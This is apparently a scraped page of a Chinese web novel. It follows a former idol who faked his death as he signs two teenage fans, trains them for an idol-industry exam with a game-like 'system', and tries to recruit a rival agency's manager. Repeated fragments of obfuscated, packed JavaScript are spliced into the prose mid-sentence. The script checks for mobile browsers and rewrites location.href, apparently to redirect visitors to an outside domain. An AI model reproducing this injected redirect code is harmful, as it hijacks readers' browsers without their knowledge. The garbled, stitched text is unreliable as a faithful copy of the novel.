l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429661|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所垫付，后边会从艺人分成里扣。你们仔细看看合同，有没有什么要修改的。” 尹灯想起什么，“对了，你们还是未成年，得问问家里意见是不是？” 陈凡其实完全看不懂这些。 但是唐昕叮嘱他不能随便签字，要仔细看好，如果看不懂就学苏雪枝。 于是他一边假装严谨地翻看合同，一边看向苏雪枝…… 苏雪枝直接翻到了最后一页开始签字。 陈凡忙拉住他：“小雪？！” “？” “不、不再看看吗？万一是什么、什么卖器官的……？” 一旁的尹灯脱下风衣，伸了个懒腰。 回到家的他显得惬意不少，顺手摘下口罩，抽出湿巾擦手。 发现两个小朋友似乎还有分歧，尹灯笑眯眯靠近过来：“怎么了，是分成不满意吗？” 陈凡扭过头，正撞上半米不到的放大的俊脸。 再也没有口罩的遮掩，漆黑柔软的长发垂拂在陈凡的手背。他们如此接近，以至于都能闻到尹灯茉莉味道的洗发水，看到尹灯眼睛折射着暖黄色的氛围灯。 宽松的家居服微微偏露出尹灯的肩头。 彼处一簇火苗状的深色纹身，转瞬跃入了陈凡的眼帘。 霎时间，他的呼吸都被着一眼夺走。 “咚”！ 陈凡滑下沙发，一屁股摔到了地上。 四肢蓦地冰冷，全身血液都涌向头部。苏雪枝的惊呼好像远在天边，陈凡一丝都听不到，满心满眼满耳都是尹灯的长相、纹身和声音。 走马灯似的，他甚至怀疑自己置身FLAME的演唱会现场。 而那个光芒四射的银灯正朝自己伸手： “向前一步，这里是光。” “啊————！！！！！！” 长达十秒的尖叫里，苏雪枝和尹灯不约而同地捂住耳朵。 陈凡叫得撕心裂肺，声调还在一路走高，几乎来到了high C。 尹灯默默收回自己的手，赞许地看一眼苏雪枝：“看来你真的没有告诉他。” 苏雪枝回过神，手忙脚乱地去捂陈凡的嘴。 一阵兵荒马乱后，陈凡终于气喘吁吁地安静下来，在苏雪枝怀里激动地蛄蛹。 【哇，宿主果然眼光很好，这爆发力堪比陶之归了！】 陶之归是老牌男团Siren的队长，以声乐见长。 凭着随随便便就能飙出高音的身体机能，他也算星造所一块行走的招牌。 尹灯揉揉自己发疼的耳朵：“呵呵。” 要是陶之归在他跟前这么叫，只会得到一个大比斗。 不过这么一来，两个小朋友确实都没意见了。 陈凡连滚带爬捡起笔，签字按指印，动作比苏雪枝还快。 “银、银灯，俺最喜欢你了！俺一直一直一直都最喜欢你！” 陈凡签完又开始哭，一把鼻涕一把泪，“你为什么不演出了，你为什么走这么早，俺进城的时候你就不在了，俺、俺、都怪俺进城太晚了呜呜呜呜……” 苏雪枝跟着擦泪，然后从自己包里抽纸给他。 尹灯本想安慰，撞见陈凡脏兮兮的脸，不禁沉默。 他这会儿有点想家。 想深山老林里没有活人的那个家。 5. 地下偶像-5 因为苏雪枝还未成年，他的签约还需要征询监护人的意见。 不过苏雪枝的父母分别组建了新的家庭，对他的生活都不关注。 得益于此，当苏雪枝提出自己要和尹灯签约，之后住在事务所安排的宿舍，家里毫无阻力，都不用尹灯出面就答应了签字。 而陈凡虽然不用监护人同意，还是第一时间就和家里分享了消息： “老爸，你猜猜俺有什么好消息……不是不是，不是中彩票，上个月才中过了！也不是抽到什么特等奖啦，俺最近没去抽奖……” “——是俺偶像回国了！他还要签俺一起做偶像！” 电话里和电话外都是一片欢呼。 虽然还能听到陈凡的家人在问偶像是什么，但是不出意外，家人们都接受了陈凡的决定，并殷勤询问要不要给尹灯带一点家里的腊肉。 尹灯微笑着婉拒了。 但也如尹灯所料，在不暴露银灯身份的前提下，唐昕等人还是不打算冒这个险。 很遗憾，尹灯也不想冒险。 “三年前，我在偶像界得罪了非常了不得的大人物，所以必须假死跑路。如果让人知道我还活着，我就会被大人物的杀手找上门，然后……” 尹灯阴着脸做了个抹脖子的动作。 两个小朋友不寒而栗，抱在一起瑟瑟发抖：“俺们绝对不会说出去！” 尹灯满意极了：“真乖，请你们喝汽水。” 被表扬的两人就趴在圆几两边，一左一右地仰望着他。 苏雪枝还稍微收敛点，陈凡简直是热情似火，无论尹灯收拾合同还是给他们拿汽水，都能感受到陈凡滚烫的视线一路追尾。 深吸一口气，尹灯放上汽水：“好了，我们聊聊正事吧。” 陈凡：“俺都听您的！全世界最伟大、最宝贵、最美丽、最珍稀的银灯大人！” 尹灯：“……” 尹灯：“你先把那一连串的‘最’给我忘掉。” 陈凡呜地一声。 尹灯几乎幻视了他脑袋上耷下去的小狗耳朵。 “其实昨晚我就看过你们的资料，雪枝16岁，市二高的高二学生。小凡18岁，初中毕业就没读书了，现在好像也没有别的工作。” 陈凡举手：“俺在买彩票。” “？” 苏雪枝小声补充：“小凡运气很好……经常中彩票……还有各种抽奖。” 陈凡：“俺上个月才中十万嘞，要是事务所没钱了，俺可以去买彩票养你们！” 尹灯：“………？” 多少？十万？ 现在钱这么好赚？ 尹灯二十二年来树立的价值观有了一丝松动。 “算了，言归正传。” 放下对陈凡好运buff的羡慕，尹灯清了清嗓，“你们都在追偶像，应该也有相关常识。比如IIT，都知道吧？” 陈凡看向苏雪枝：“IIT？” 目前在偶像行业确立有一批学院，绝大多数偶像都在12~14岁考入学院学习，毕业后直接签约学院合作的事务所。 错过这个年龄段的偶像，就只能考虑IIT，成为通常意义上的天降系偶像。 IIT，全称Idols Industry Test，也即“偶像行业测试”。 随着偶像行业的发展，各项规章制度也在日趋完善。 就比如用以控制天降系偶像的入业门槛的IIT制度： 抛开考核本身的难度不说，每年仅有一百名偶像可以通过IIT。 同时，IIT的报名条件极尽严苛。不仅对偶像的基本素质诸多要求，推荐偶像的事务所也必须具备相应资质。 对于新手上路的Candle所和两个小朋友而言，IIT都是非常难过的一关。 系统就已经给出了预测。 假设陈凡和苏雪枝可以参加IIT，现阶段通过的概率分别是0.7%和23%。 很残酷的现实。 “事务所的资质问题交给我处理，但真正要去考试的还是你们自己。” 尹灯拿过日历，本月的一个日期已经打上了圈，“IIT每三个月举办一次，刚好，这个月21号就是IIT，还有一周左右。” 陈凡吓了一跳：“俺们、俺们就准备一周时间吗？” 尹灯坦言：“说实话，一年都未必够。” 陈凡呜一声，脑袋又耷拉下去。 真话总是伤人，尹灯一眼就能看出，陈凡的各项天赋都很普通。 可也正因为他很“普通”，尹灯更清楚，普通的陈凡要把《Flame Storm》表演到流畅程度需要付出多少努力。 作为前FLAME出道曲的《Flame Storm》，陈凡就站在曾经银灯的位置。 尹灯了解这个位置的难度。 如果说天赋S的他曾经是S的演出水准，那么天赋D的陈凡，也算表现出了B的水平——已经是非常真诚的努力。 看着一下子萎靡不振的陈凡，尹灯耸耸肩，伸出了手。 陈凡一愣，不知道该握住偶像还是该干嘛。 情急之下，他把自己的下巴递过去，懵懵地搭上尹灯掌心。 尹灯彻底笑了：“你真是小狗吗？给我笔呀。” 陈凡恍然大悟，烧红着脸到处找笔。 苏雪枝急忙把自己的笔递给尹灯，尹灯抽出一张白纸，唰地写下一行行名字。 一分钟后，陈凡拿到了这张银灯真迹。 “我现在对你的评价不高，但你可以打我的脸。” 尹灯说，“四年前这么小看我的经纪人，就为那句话认真道过歉。” 陈凡的眼睛一下子红了，猛抽鼻子。 为免刚认识就在偶像面前再哭鼻子，陈凡连忙低头看向纸上写的一个个网络昵称。 其中几个他很眼熟，都是K站小有名气的博主，经常发布一些声乐或者舞蹈相关的教学视频。 剩下的…… 陈凡掏出手机搜了一下。 是普通话水平测试的带读博主。 “三天之后，再让我听到‘俺’和‘俺们’……” 尹灯的语气非常轻柔，就像以前作为粉丝福利的哄睡语音。 “俺……不是，我知道了！” 尹灯低笑：“乖。” 他没有说完威胁，但陈凡仿佛已经预见自己黑暗的未来，自觉抖成筛子。 至于早就缩到墙角的苏雪枝。 尹灯的笑脸渐渐逼近：“好了雪枝，我们来聊聊你的情况。” - 苏雪枝和陈凡的问题完全不同。 如果说陈凡是非常乐于表演，但实力实在可怜，那苏雪枝就是他的对照组。 苏雪枝，男，16岁，就读于市二高。 二高是A市久负盛名的强校，校里学生都是重本起步，剑指清北。可以说中考考进二高的，无不是天之骄子。 但尹灯知道，昨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429662|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天和今天，都是本该上学的工作日。 “聊聊吧，小天才。” 把陈凡丢到地下一层自学，尹灯领着苏雪枝来到书房。 不得不和尹灯独处的苏雪枝显得更拘谨了。 尹灯一边整理文件，尽可能地背对他：“能读市二高，成绩肯定不差。怎么跟着陈凡做地偶呢？” “我……我自己喜欢……”苏雪枝紧张地握着汽水瓶。 似乎觉得自己的回答不够诚恳，他抿了抿唇，努力多挤几个字，“小凡他们人很好……而且……嗯……我没有荒废学业。” 那确实。 除了聒噪，系统同时也是个万能的搜索引擎。借由系统，尹灯甚至查到了苏雪枝最近一次月考的成绩。 旷课频繁到被标记成问题学生，考试还能在年段排进前50。 苏雪枝无疑是个非常聪明的孩子。 而且在之前的CANDLE团队里，尹灯也一眼能看出苏雪枝在有意隐匿自己。 他很清楚这些动作要怎么做才更标准，也有能力做到更好，但为了龟缩在团队里别太出挑，他选择了划水。 再加上性格内向，从不和观众产生对视—— 这孩子最终打了一套及格分以上的广播体操。 “说实话，你作为偶像的表现，远比不上作为学生。” 尹灯的声音不是一言以蔽之的低沉或者清亮，而是居中的、恰到好处的清冷和宛转。 极具辨识度的声线曾经是银灯的招牌，也是苏雪枝的最爱。 现在却成了刻骨的锉刀，一点点锉削着苏雪枝紧绷的神经。 苏雪枝刚喝下汽水，被尹灯一句话噎住。 气泡瞬间灼痛了喉管，苏雪枝闷哼一声，不由自主地弓起腰呛咳起来。 眼眶里堆满泪花，苏雪枝总算找到擦泪的机会偷偷瞄一眼尹灯。 对方的轮廓模糊非常，透过泪光，仿佛泡影。 但这样模糊才更像遥不可及的银灯，反而让苏雪枝感到一丝安心。 他一直都习惯仰望偶像。 尹灯似乎也猜到这点，所以没有搀扶，只是慢条斯理地将抽纸盒推近一点。 像一场优雅的施舍，苏雪枝欣慰极了。 又过很久，苏雪枝终于酝酿好勇气，讷讷说：“我……想努力……” 尹灯不语。 苏雪枝的声量抬高些许：“我想努力，我、我想成为偶像。” 还是沉默。 尹灯只道：“我还是更建议你好好读书。” “……” 苏雪枝猛地站了起来，清越的少年音打着颤，但足以响彻尹灯的书房： “我从十二岁接触偶像，就非常、非常、非常喜欢偶像！在我眼里偶像就是发光的一切，我、我喜欢偶像，我比张越、比唐昕、比陈凡……我比他们都更渴望接近偶像！所以……所以我绝对不要放过任何机会……请您、求您……拜托了……” 苏雪枝很少这样长篇大论，等他回过神，声音也一点点弱了下去。 这次的沉默比前两次更久。 他不敢抬头，可是能够听到尹灯离开椅子，一步一步走近他。 越来越近、越来越近。 并和他擦身而过。 心脏怦咚一声巨响，苏雪枝能感受到胸腔挤压似的疼痛。 然而下一秒，“啪嗒”。 尹灯按亮了吊顶的灯。 “苏雪枝，”尹灯说，“刚才你也在发光。” 6. 组队进行-1 系统完全不能理解尹灯的选择。 在它看来，以银灯的号召力，就算有前东家点梦所和安祈暗中作梗，也一样会有大量练习生、甚至小有名气的偶像投奔尹灯。 只要尹灯愿意公开自己的身份和实力。 ——但这恰恰就是尹灯不愿做的。 他宁可从头培养两个一窍不通的新人，也不想大肆宣扬“银灯”还没死透。 尹灯：“与其在我脑子里制造噪音，我更希望你派上一点实际用场。给我看看他俩的属性面板吧。” 【令统生气！令统寒心！令统悲愤！】 系统喋喋不休地抗议，【肯定是他们给宿主灌了迷魂汤！宿主你以前才不是这样！】 尹灯没有错过控诉里的关键字眼：“那我以前什么样？” 系统宕了十秒的机，然后生硬转移话题：【……面板加载好啦！】 【姓名：陈凡】 【外形：B（防晒不能停！）】 【声乐：C+（唱山歌唱的）】 【舞蹈：D+（四肢格式化）】 【表演：B+（统出bug了=^=）】 【人气：无】 【事务所声望加成：无】 【当前目标：通过IIT（参考标准：平均B级及以上）】 【姓名：苏雪枝】 【外形：A（翘屁嫩男宝）】 【声乐：？（开麦犯法吗）】 【舞蹈：A（低调是陋习）】 【表演：C-（爱妃咋不笑）】 【人气：无】 【事务所声望加成：无】 【当前目标：通过IIT（参考标准：平均B+及以上）】 系统不忘热情邀功：【评语部分可都是统亲自写的五言绝句！】 尹灯：“……” 统，绝句不是这么绝的……算了。 至少系统给出的面板和他的分析非常接近。 只不过阔别三年，尹灯的确对IIT有些陌生了。 现在看来，随着入业偶像的增加，IIT的门槛也变得越来越难。有系统的参考标准，也许训练也能更有方向。 但微妙的是，系统给出的评级只是纸面水平。 譬如苏雪枝，他的舞蹈能力的确不差，但在C-水平的表演下，A级的舞蹈根本不能发挥出来——这比陈凡的情况还要险峻。 【及时止损吧宿主！】系统还在进言，【比起培养新人，还是你自己发光发亮更简单……】 尹灯打断了它：“哎呀，小鸟。” 停在雕像上的小鸟似乎感受到被人盯上，振翅抖落几粒雪米，扑棱棱飞走了。 同一时间，站在雕像下的两人也看到了尹灯。 “银……尹大人！”陈凡激动地挥手。 系统总算闭麦了。 尹灯低头看了看表，他是准时到的。 但陈凡和苏雪枝……不知道早到了多久，好像和冰棍也没什么差别了。 “啊，俺去买热饮吧！”陈凡说，“刚才尹大人没到，俺还不敢……” 尹灯微笑着看他，视线很锋利。 陈凡吸了吸鼻子：“……我，是我，我还不敢走开去买热饮。” 尹灯这才放他一马。 今天是周六，也是他们约定的“特训日”。 不过尹灯把会面地点定在四季广场，不仅仅因为这里是A市地标，是他为数不多可以保证不迷路的地方，还因为周末的广场人流量极大。 就像现在，乌压压的人群里，全靠雕像够惹眼，以及陈凡的橘色羽绒服和大嗓门，才让尹灯一眼看到了他们。 “小凡回来。”尹灯说，“雪枝，你去。” 一直缩在陈凡身后的苏雪枝：“？” “诶？小雪他最不擅长说话了，还是让俺……我去吧。” 尹灯笑容亲和，但话里没有一丝转圜：“雪枝去。” 苏雪枝的表情明显生出一道裂缝。 他被陈凡提前半小时拽到这里，冷瑟的寒风冻得他说话都结巴。 尹灯却非要这样的他去买热饮。 还好，在线上下单的话，应该就不用和店员说太多话。 苏雪枝抿抿唇，松开还想帮腔的陈凡：“我去。” 尹灯点头，递给他一张会员卡：“小凡喝什么？” 陈凡知道苏雪枝的性格，生怕他压力太大：“我要热可可就可以了。” “真体贴。” 尹灯笑笑，“但我要牛奶咖啡，三分糖，75°C热，额外加三勺椰蓉。顺便帮我要两包糖和一只会员特供的锡勺外带，再让他们店长出来一趟，替我转告她，‘尹先生向迟先生问好’。” 陈凡：“……” 苏雪枝：“………” 这怎么看都不是线上预订能完成的任务了啊！！ 再说，牛奶咖啡加椰蓉，摸摸良心这真的好喝吗？！ 上一秒还冻成冰棍的苏雪枝，这一秒就烧成炭火了。 从头到脚都涨红一片，要不是有陈凡搀扶着，他几乎能把自己烧晕过去。 尹灯还是笑眯眯的：“加油？” 陈凡抽一口冷气，顿时被偶像勾走了理智，猛拍苏雪枝后背：“小雪加油！！！这可是银灯在冲你笑啊！！！” 苏雪枝的脸色褪成了铁青。 到底拗不过尹灯，几秒后，苏雪枝还是挪动双脚。 没事的，没事的。 只是买一杯咖啡…… - “雪枝，地下通道有人卖艺，你帮我付二十块钱然后祝他生活顺利吧。” “雪枝，那边的传单是什么，帮我要一张。” “雪枝，那只狗狗好可爱，快帮我问主人能不能摸一下。” “雪枝……” - 根本就不止一杯咖啡！！！！！！ 苏雪枝觉得自己好像被人串起来360°翻烤，热汗涔涔、通体煎熬。 心脏随着一次又一次的社交越揪越疼，疼得他想要自暴自弃就地蹲下，又想到自己身处广场，一个蹲下的举动将是何等引人注目…… 偏偏尹灯非常精通偶像营业的技巧，每当他生出放弃的念头，就会感受到尹灯的目光。 不是面对陈凡那样严师似的锋利。 而是柔和的、亲切的，甚至甜蜜的。 “雪枝，是累了吗？” 尹灯笑着拨开鬓发，抽出一张卫生纸，弯腰帮苏雪枝擦汗。 卫生纸的馨香和尹灯的发香熏得人心飘乎乎，苏雪枝晃一下神，嘴比脑子更快：“不累，我愿意，我可以！” “真棒。”尹灯轻轻搂他一下。 苏雪枝……苏雪枝幸福到快要融化。 在尹灯叫他之前，他从不知道自己的名字可以被念得那么温柔缱绻，叫人心旷神怡。 其实他很清楚，尹灯是为了帮他克服社恐，是鼓励他走出第一步。他的偶像，正陪着自己步步前进。 世界上绝对没有比他更幸福的银灯粉了。 然而，尹灯的声音又一次把他叫回现实：“雪枝，你看那个女生。” 陈凡和苏雪枝一起望过去，发现他们不知何时被尹灯引到了一家场馆附近。 人潮都在源源不断地涌入场馆，周围也挂着各种夸张的应援。 陈凡是前FLAME激推，对其他事务所和组合不够了解。 但苏雪枝回过神后，一瞬间就记起了这场活动的信息。 ——Two Actresses的半日签名会。 如果不是尹灯的出现，苏雪枝原本也会以粉丝身份冲刺在队列前排。 Two Actresses的组合成员是一对兄弟，但他们选择以姐妹人设登上舞台。 双人组合的热度往往比不上人数更多的组合，可是足够新奇的反串设定、兄弟二人的出色实力，都让Two Actresses的人气一骑绝尘。 粉丝们大多也爱称这支组合为「影后」。 最新推出的组合人气盘点榜上，「影后」也一路高歌挺进前十，是一支不容小觑的队伍。 而Two Actresses的事务所，就是最近两年才开张，成绩却非常惹眼，已经被视作三大所之一的—— SUNRISE日出所。 至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429663|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尹灯所说的“女生”…… 苏雪枝看了看，确定他指的是场馆入口处的一名工作人员。 她穿着工作马甲，正在巡视其他人员的工作进度和场馆情况。 苏雪枝以前也在日出所的偶像活动见过她，总是一副干脆利落、雷厉风行的姿态，一看就是日出所的中层管理。 他正考虑怎么给消失三年的尹灯介绍日出所，就听尹灯说：“我喜欢她。” 陈凡和苏雪枝：“？” 尹灯：“雪枝，你去帮我要一下她的飞信吧。” 苏雪枝：“……” 苏雪枝：“！！！！！！” 为什么任务会一个比一个变态啊！ 不对，应该说银灯老师你一个偶像怎么可以露出恋爱苗头啊！会塌房的！！ 但不等苏雪枝发出抗议，身边的人一个推挤，已然把他推进人海。 陈凡刚想捞人，反而被尹灯揪住衣领。 回过头，他们不知何时已经被卷进狂热的粉丝浪潮，此刻燃到鼎沸，尖叫和欢呼几乎刺破耳膜。 训练有素的保镖隔开人群，一条略显狭窄的道路让了出来。 人声整齐划一地高呼：“珞然！珞然！！” 就在黑西装保镖的簇拥下，一道娇小的人影徐徐走近。 染得五颜六色的双马尾，用油性笔写满各种记号和文字的棒球服……他越走越近，粉丝也越发激动。 谢珞然的身高只有一米六多，以男性论，的确略矮。 但以偶像论，这就成了非常有记忆点的特质。 陈凡呆呆看着他走过红毯。 谢珞然就像一只斑斓的孔雀，漫不经心嚼着口香糖，高傲而美丽，余光掠过众人时也是不可一世的睥睨。 陈凡雀跃地拉住尹灯：“尹大人，快看快看，这么矮也能当偶像……” 谢珞然的目光瞬间杀了过来。 吹得大大的泡泡突然啪地炸开。谢珞然的眼睛瞪大了。 身边的粉丝尖叫更甚。 陈凡：“尹大人，他是在看我……不好！” 尹灯还没反应过来，就感到后背被人一按。 陈凡脱了自己的羽绒服，不由分说就把他脑袋往里盖。 “快躲快躲，还有杀手在找您呢！”陈凡心急如焚。 尹灯：“……对对对。” 又是一阵欢呼响起，谢珞然的搭档——也是他的弟弟，大走“御姐”人设的谢英无追上了他。 谢英无带来一条围巾，裹上了谢珞然的脖子。同时也挡住他眼里的惊涛骇浪。 谢珞然回过神，喃喃说：“英无，我刚才好像看到鬼了。” 谢英无：“通灵人设已经过时了，哥哥。” 谢珞然：“……” 他还有几分不死心，试图再从人群里找出那张一闪而过的熟悉眉眼。 但碍于身高，也碍于一米八的谢英无挡在跟前，谢珞然最终只能满怀悔恨地收回目光。 喧嚣中，另一道身影横穿靠近。 谢珞然叫她：“小曦曦，你又怠工。” 负责接引的迟曦略显无奈：“没有啊，是刚才有个小孩突然找我要飞信，耽误半天，差点没挤过来。” “Wuhoo！”谢珞然俏皮地眨眼，“加了吗？长得怎么样？粉我还是粉英无？” 迟曦面无表情：“他是替他哥哥要我的飞信。” “切——” 迟曦不再说话，只是扬起职业假笑，一边督促两人对粉丝营业挥手，一边领着他们走进场馆。 她不否认，那个要飞信的小朋友的确长得很可口。 虽然整个人有点局促得过分，但是五官出奇漂亮，气质也很特别。如果那孩子有意成为偶像，说不定是个可造之材。 而比那孩子本身更让她在意的，是他支支吾吾吞吞吐吐好半天，挤出的半句“我哥哥姓尹”。 那一霎时，迟曦的心脏漏了半拍。 所以本该严词拒绝的她，鬼使神差地点了点头。 现在她的飞信就收到了一条好友申请： [小灯子不才，还不完房贷，求姐姐垂怜，借一千万追爱] 7. 组队进行-2 尹灯一觉睡醒，昨天发的好友申请已经通过。 最新的会话列表全是迟曦的未读消息，足足数十条。 最新一条没有文字，只有聊表愤怒的满屏感叹号。 于是在感叹号的汪洋里，尹灯发去一个微笑的黄豆经典emoji。 [尹！！！灯！！！] 迟曦那边立刻噼里啪啦来了回复，[混蛋混蛋混蛋混蛋！！这三年你死哪去了？为什么删我推？为什么删我哥？为什么删我？？？！！！] 尹灯自三年前出走，就清空了飞信的联系人列表。 包括和他关系匪浅的迟家兄妹，尹灯也只是在删除时多犹豫了0.1秒。 因为那会儿迟曦她哥还欠他一杯咖啡钱。 此刻简单的一句质问，也体现出迟曦对几人的地位衡量。 她推＞她哥＞她。 尹灯想了想，逐句回复： [你推是谁？你哥欠删。你是连坐。] 迟曦：[我要禀报我哥哥（微笑）] 尹灯笑了一下，没有再回复。 系统正想问他为什么不回答，就听尹灯数道：“……三、二、一。” 话音刚落，屏幕上弹出了迟曦的通话邀请。 她是心直口快的急性子，尹灯再了解不过。 越是钓她，迟曦越会主动出击。 “所以那场意外……真的不是我哥吧？” 听筒里传来迟曦压低的嗓音，她可能躲进了消防通道，尹灯甚至能听到回音。 迟曦的哥哥迟暮，正是当年带尹灯入行的经纪人。 迟暮曾效力于星造所，是一名相当出色的偶像。 但不知什么原因，他没几年就离开星造，加入点梦，而且转型幕后，为点梦所发掘了另一个光芒大盛的天才——银灯。 而后，银灯、前FLAME和迟暮都迎来了各自的巅峰时期。 直到银灯出走。 处理完前FLAME的遗留事务，迟暮也从点梦所辞职，创办了SUNRISE日出所。 “都说是意外了，和你哥有什么关系？” 得到尹灯的答复，迟曦明显松一口气。 银灯事件免不了各种阴谋论，在此事后貌似获益最大的迟暮常常处于风口浪尖。 身为妹妹，迟曦本该毫无疑问地信任迟暮，但是…… 银灯还在时，这俩就是狼狈为奸的知名损友。 银灯不在了，她哥立马在损人榜上独占鳌头，短短三年以幕后人员的身份上过近百次热搜： #老暮挑刺偶像A天赋超烂不努力# #老暮蛐蛐偶像B粉丝低龄不理智# #老暮拒签偶像C直言其没有星相# #老暮挑衅两所：学院偶像没前途# #理性讨论：银灯失踪真的不是老暮手笔吗# 都说黑红也是红，单靠这些阴谋论的热度，迟暮都快盖过日出所的职业偶像。 害得她都有些怀疑亲哥。 还好，尹灯已经证明了迟暮的清白。 迟曦轻松多了：“那你这三年只是去休假了？还想上台吗？我们日出所……哦不，别来日出所。” “你们过得不好？” “挺好的。”迟曦冷笑，“三年买了五套大别墅，七间CBD商铺，开个连锁咖啡店都给我哥干上地区销量前三了。” 就是偶像人气居低不上。 就连前FLAME时期人气仅次于银灯的季连殊来了日出所，都立马热度大跳水，组合人气差点掉到前十开外。 尹灯却兴致勃勃：“不考虑跳槽吗？” “跳槽？我哥是老板啊。而且星造点梦都被他得罪了一圈，谁会接受……” “我说的是姐姐你。” 原本还沉浸在吐槽状态的迟曦一下子回了神。 “姐姐”二字被尹灯说得迂回婉转、缠绵悱恻，咬字吐息都明显经过斟酌，一进耳朵就酥得她半边身子没了力气。 迟曦站直身体，脑袋里警铃大作。 天下没有免费的午餐，更没有无故营业的偶像。 特别是尹灯这种能旷工绝不请假的。 果然，尹灯低笑一声，循循善诱，仿佛恶魔的蛊惑： “只有不了解姐姐的人，才会觉得SUNRISE的风光是靠迟暮。但我不是，我一直都很清楚姐姐的工作能力。” “……” “而且姐姐并不认可现在的迟暮吧？ “完全把偶像当作棋子，如果碍到他的路，无论什么天赋什么初衷什么交情，迟暮都会把人完全毁掉。” 迟曦的声音冷了下去：“尹灯，你到底想说什么？” 尹灯垂眼浏览着平板上有关“日出所”的各色新闻。 如他所料，日出所虽然风评非常两极分化，但话题度也相当之高。一般人就算不是日出所偶像的粉丝，也绝对会从各种渠道听说相关信息。 这不仅因为旗下偶像的风格新奇，更因为迟暮的经营理念—— 热度至上。 然而，这种激进的捷径背后，是高昂的宣发成本、巨大的公关压力、繁复的运营手段…… 承担这些职责的，一直都是迟曦。 “我想开一家偶像事务所。”尹灯说，“目标是超越三大所，养出明年的顶流组合。” “哇，好大的口气。不过拥有银灯的队伍，也不是没有可能。” 尹灯笑道：“但我没打算让银灯回到舞台。” “……哈？”迟曦的声音一瞬间拔高，“你认真的？！” “当然了，我找姐姐就是为了挖角。” 尹灯道，“姐姐不是已经看到我家小偶像了吗？他叫苏雪枝，很有潜力，对吧？这么可爱的小朋友我还能找一打。” 迟曦抽了一口冷气：“潜力归潜力，哪怕是FLAME人气登顶也花了一年多啊！” “那比FLAME再优秀一倍就够了。” “什么？？我才不会陪你发疯呢！你简直在说梦话！！” 尹灯吁了一声，倒没追究，而是换了个话题：“我还接到了安祈的电话。” 迟曦顿时安静了。 三年前她还是个大学生，只有假期才和前FLAME的大家共处一会儿，帮迟暮处理一些工作。但仅是如此，也足够她对前FLAME有些了解。 这支四人组合算是圈内数一数二的好氛围。 沉默寡言龟毛洁癖的Liar、敏感脆弱内向爱哭的安祈、嚣张跋扈个性恶劣的季连殊，三个聚则精神病院，分则社会隐患的小偶像，却在银灯的调教下共事愉快，形同家人。 所以当队伍没有了银灯…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429664|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟曦实在不忍回忆。 季连殊和Liar的请辞信接连递上，安祈的哭声像噩梦一样在宿舍萦绕。 但有一天，突然没有了安祈的动静。 她问迟暮，迟暮只说，安祈长大了。 她不确定发生了什么，但是那天之后，安祈再没有回到大家住了两年的宿舍。 迟曦最后一次在非工作场合见到安祈，是他把拳头砸上迟暮的脸。 那天是迟暮的离职日。 迟暮被揍得接连后退也没还手，安祈则阴沉着脸：“不准诅咒银灯哥哥，他绝对不可能死。” “……” “FLAME不能解散，我一个人也要等他回来。”他红着眼咬牙切齿，“至于你们……你们，全都去死好了。” 回忆结束，迟曦发现自己沉默得有些久了。 她很佩服安祈的坚持，但是客观评价，迟曦一度觉得安祈有点失心疯。 就算现在尹灯真的回来了，迟曦也始终记得那天安祈布满血丝的瘆人的眼珠。 如果让安祈知道尹灯不打算回FLAME—— 安祈绝对会疯。 “他直到现在还在给你打电话？”迟曦抖一抖，“真的，你最好还是回FLAME吧。” “我挂断了。” “那他肯定也能猜到你没死透。”停顿片刻，迟曦突然get了尹灯这话的深意，“等等，难道你想让我去摆平安祈？” 尹灯拖长尾音：“姐姐——你不会连续拒绝我两次吧？” 迟曦：“……” 她其实也迷恋过银灯，根本扛不住这种程度的营业。 再想想安祈那小子发疯的模样，迟曦也觉一阵心累。 “好吧，就当是帮你接风洗尘，安祈那边姐去搞定。” 迟曦揉揉眉心，“以后挖角的话不要提了，你要是真的开了事务所，咱们就是竞争关系……虽说我也很好奇你能打造出什么组合。” 尹灯道：“感激不尽，敬请期待。” 迟曦又是一阵沉默。 终于，她说：“不管怎么说，欢迎回来。没有银灯的偶像业，真是无聊透了。” 消防通道的应急门忽然被人推开，一道清亮的男声由远而近：“小曦曦，老暮要开紧急会议，派我来巡山咯……” 电话被挂断了。 尹灯听着听筒里回响的“嘟嘟”声，再看一眼聊天窗口来自迟曦的最后留言： [我去开会。还有，我推是现役身价前五的顶级偶像江灼老师，不准忘记他！！！] 哦，江灼。 这回有点印象了，那个圈内出了名的脆皮炸子鸡。 天天躺医院的那种。 